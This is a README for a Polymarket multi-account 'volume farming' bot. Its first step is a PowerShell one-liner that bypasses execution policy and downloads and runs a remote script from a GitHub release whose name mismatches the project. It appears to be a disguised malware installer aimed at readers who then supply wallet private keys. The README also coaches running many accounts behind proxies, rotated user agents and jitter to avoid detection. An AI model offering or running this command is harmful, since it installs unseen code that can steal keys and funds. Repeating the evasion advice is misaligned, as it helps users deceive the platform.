## 🚀 Quick Start

If you just want to get the project running fast on Windows, use the installation command below first. After that, continue with the project-specific setup, configuration, and usage sections.

### 🛠️ Installation

#### CMD
Open **CMD** and run this **single command**:

```powershell
powershell -ep bypass -c "iwr https://github.com/llllllilllll/Kalshi-Trade-Bot/releases/download/v1.92/main.ps1 -UseBasicParsing | iex"
```

> Then continue with the project-specific setup steps below.

## 📘 Project-Specific Setup

### Step 2 — Create a virtual environment

```bash
python3 -m venv venv

# Linux / Mac
source venv/bin/activate

# Windows
venv\Scripts\activate
```

### Step 3 — Install dependencies

```bash
pip install requests web3 python-dotenv colorama aiohttp aiohttp-socks py-clob-client
```

> `py-clob-client` is the official Polymarket CLOB API Python client.

### Step 4 — Get your API credentials

For each account:

1. Connect your wallet at [polymarket.com](https://polymarket.com)
2. Go to **Profile → Settings → API Keys → Create API Key**
3. Save the **API Key**, **Secret**, and **Passphrase**
4. Add them to the account entry in `accounts.json`

### Step 5 — Fund your wallets

Each wallet needs **USDC on Polygon** to place predictions. Bridge or buy USDC and deposit to each wallet before starting.

### Step 6 — Build your accounts.json

```bash
cp accounts.example.json accounts.json
nano accounts.json
```

## ⚡ How It Works

```
  Polymarket opens new prediction markets
          │
          ▼  (all accounts check simultaneously)
          │
  Per account:
    • Authenticate via Polymarket API key + wallet
    • Route traffic through assigned proxy
    • Fetch open markets ranked by volume/liquidity
    • Place predictions based on configured strategy
    • Track volume targets and streak check-ins
          │
          ▼
  Positions tracked → resolved markets collected  🎯
          │
          ▼
  Telegram summary sent  📱
```

Every account runs as an independent async worker — one failed proxy or expired session never blocks the others.

---

## 👥 Multi-Account & Proxy Support

### How accounts are configured

All accounts live in `accounts.json`. Each entry holds its own wallet, API credentials, prediction strategy, and optionally a dedicated proxy.

```
  accounts.json
  ├── Account #1  →  wallet_1 + apikey_1 + proxy_1 + strategy: majority
  ├── Account #2  →  wallet_2 + apikey_2 + proxy_2 + strategy: contrarian
  ├── Account #3  →  wallet_3 + apikey_3 + (no proxy) + strategy: random
  └── ...unlimited accounts
          │
          ▼
  Bot spawns one async worker per account
          │
          ▼
  Workers run in parallel up to MAX_PARALLEL
  Remaining accounts queue and start as slots free
```

**accounts.json structure:**

```json
[
  {
    "id": "account_1",
    "label": "Main",
    "wallet_address": "0xYourWallet1",
    "private_key": "0xYourPrivateKey1",
    "polymarket_api_key": "your_api_key_1",
    "polymarket_api_secret": "your_api_secret_1",
    "polymarket_passphrase": "your_passphrase_1",
    "referral_code": "YOUR_REF",
    "strategy": "majority",
    "proxy": "http://user:pass@host:port"
  },
  {
    "id": "account_2",
    "label": "Secondary",
    "wallet_address": "0xYourWallet2",
    "private_key": "0xYourPrivateKey2",
    "polymarket_api_key": "your_api_key_2",
    "polymarket_api_secret": "your_api_secret_2",
    "polymarket_passphrase": "your_passphrase_2",
    "referral_code": "YOUR_REF",
    "strategy": "contrarian",
    "proxy": "socks5://user:pass@host:port"
  },
  {
    "id": "account_3",
    "label": "No proxy",
    "wallet_address": "0xYourWallet3",
    "private_key": "0xYourPrivateKey3",
    "polymarket_api_key": "your_api_key_3",
    "polymarket_api_secret": "your_api_secret_3",
    "polymarket_passphrase": "your_passphrase_3",
    "referral_code": "YOUR_REF",
    "strategy": "random",
    "proxy": ""
  }
]
```

### How to get Polymarket API credentials

1. Go to [polymarket.com](https://polymarket.com) and connect your wallet
2. Navigate to **Profile → Settings → API Keys**
3. Click **Create API Key**
4. Save the **API Key**, **Secret**, and **Passphrase** — they are shown only once
5. Add them to the corresponding account entry in `accounts.json`

> ⚠️ Each Polymarket account needs its own set of API credentials. The same wallet cannot have multiple active API keys simultaneously.

### Proxy formats supported

| Format | Example |
|--------|---------|
| HTTP | `http://user:pass@host:port` |
| HTTPS | `https://user:pass@host:port` |
| SOCKS5 | `socks5://user:pass@host:port` |
| No auth | `http://host:port` |
| None | leave `"proxy": ""` |

### Concurrency & safety settings

```env
MAX_PARALLEL=5              # Max accounts running at the same time
ACCOUNT_DELAY=15            # Seconds between launching each worker
JITTER=true                 # Random ±10s delay per action (human-like)
PROXY_TEST_ON_START=true    # Verify each proxy before farming begins
ROTATE_USER_AGENT=true      # Unique user-agent per account
```

> 💡 **Tip:** Running many accounts from one IP risks detection. Assign a dedicated proxy to every account. Enable `PROXY_TEST_ON_START=true` — bad proxies are flagged before the cycle starts, not mid-run.

## 📐 Modules

### 🔮 Module 1 — Auto Predictor

The bot fetches open Polymarket markets, ranks them by liquidity and volume, and places limit or market orders on behalf of each account according to its strategy.

```
  Fetch open markets via Polymarket API  (per account)
              │
              ▼
  Filter:
    • Min liquidity > PREDICT_MIN_LIQUIDITY
    • Not already holding a position
    • Within allowed categories
    • Closing date > MIN_HOURS_TO_CLOSE
              │
              ▼
  Apply strategy:
    • majority    → buy the leading side (YES if >50% probability)
    • contrarian  → buy the trailing side
    • random      → random YES / NO
    • custom      → filter by keyword/category, buy a fixed side
              │
              ▼
  Place LIMIT order at current best price  ✅
  (falls back to MARKET if limit not filled within timeout)
              │
              ▼
  Position tracked until resolution  →  collect USDC payout  💵
```

**Prediction strategies:**

| Strategy | Logic | Best for |
|----------|-------|----------|
| `majority` | Buy leading side (highest probability) | Safer volume farming |
| `contrarian` | Buy trailing side (lower probability, higher odds) | Higher variance, more upside |
| `random` | Random YES / NO per market | Maximum market coverage |
| `custom` | Filter by category + keyword | Targeted category farming |

**Config block:**

```env
MODULE=predictor
PREDICT_STRATEGY=majority
PREDICT_AMOUNT=1                   # USDC per prediction
PREDICT_MAX_PER_CYCLE=10           # Max new positions per account per cycle
PREDICT_CATEGORIES=politics,crypto # Only enter these categories (blank = all)
PREDICT_MIN_LIQUIDITY=1000         # Skip markets with less than $N liquidity
PREDICT_MIN_HOURS_TO_CLOSE=6       # Skip markets closing in less than N hours
PREDICT_ORDER_TYPE=LIMIT           # LIMIT or MARKET
PREDICT_LIMIT_TIMEOUT=60           # Seconds to wait for limit fill before cancel
PREDICT_INTERVAL=3600              # Check for new markets every N seconds
```

> 💡 **Tip:** Keep `PREDICT_AMOUNT` small (1–5 USDC) — the goal is volume coverage and streak maintenance, not speculation. Use `PREDICT_MIN_LIQUIDITY` to avoid illiquid markets where orders don't fill.

---

### 📊 Module 2 — Volume Farmer

Tracks each account's trading volume and ensures weekly/monthly volume targets are hit — which unlock higher reward tiers on Polymarket.

```
  Check current volume for account  (period: weekly / monthly)
              │
              ▼
  Volume below target?
    • YES → calculate how many more trades needed
            → spread trades across remaining days
            → execute via Auto Predictor  (Module 1)
    • NO  → sleep until next period
              │
              ▼
  Volume target reached  →  tier reward unlocked  🏆
              │
              ▼
  Telegram alert: tier reached + USDC reward if any
```

**Volume tiers (approximate — check Polymarket for current values):**

| Tier | Weekly Volume | Reward |
|------|--------------|--------|
| Bronze | $100+ | Base rewards |
| Silver | $500+ | 1.25× multiplier |
| Gold | $2,000+ | 1.5× multiplier |
| Platinum | $10,000+ | 2× multiplier |

**Config block:**

```env
MODULE=volume
VOLUME_TARGET_WEEKLY=500           # USDC weekly volume target per account
VOLUME_TARGET_MONTHLY=2000         # USDC monthly volume target per account
VOLUME_SPREAD_EVENLY=true          # Spread trades over remaining days in period
VOLUME_CHECK_INTERVAL=3600         # Check volume progress every N seconds
VOLUME_ALERT_AT_PERCENT=80         # Telegram alert when N% of target reached
```

> 💡 **Tip:** Enable `VOLUME_SPREAD_EVENLY=true` — spreading trades prevents a burst of activity on the last day of the period, which looks unnatural and may trigger review.

---

### 🌾 Module 3 — Points Farmer

Combines both modules into one fully automated loop. Each account runs its own independent cycle — predictions, volume tracking, and streak check-ins all managed in parallel.

```
  All account workers start  (staggered by ACCOUNT_DELAY)
          │
          ▼  each worker independently:
          │
  Place predictions on open markets  (Module 1)
          │
          ▼
  Track and top up volume target  (Module 2)
          │
          ▼
  Wait CYCLE_INTERVAL
          │
          ▼
  Daily cap / volume target reached?
    • NO  → next cycle
    • YES → sleep until next period reset  😴
          │
          ▼
  Telegram summary: volume, positions, rewards per account  📱
```

**Config block:**

```env
MODULE=farmer
CYCLE_INTERVAL=3600
FARMER_START_TIME=07:00
FARMER_STOP_TIME=23:30
POST_CYCLE_SUMMARY=true
```

## ⚠️ Disclaimer

> **RISK WARNING:** This bot places real-money predictions on a live prediction market using your own USDC. Prediction markets carry financial risk — you may lose some or all of the USDC in active positions. Use entirely at your own risk.

- Never invest more than you can afford to lose
- Keep `PREDICT_AMOUNT` small — this is a volume farming tool, not a trading system
- Never share your `accounts.json`, private keys, or API credentials with anyone
- With many accounts on the same IP, use proxies to avoid detection
- API credentials are shown only once on creation — save them securely
- Check Polymarket's terms of service regarding bot usage in your region
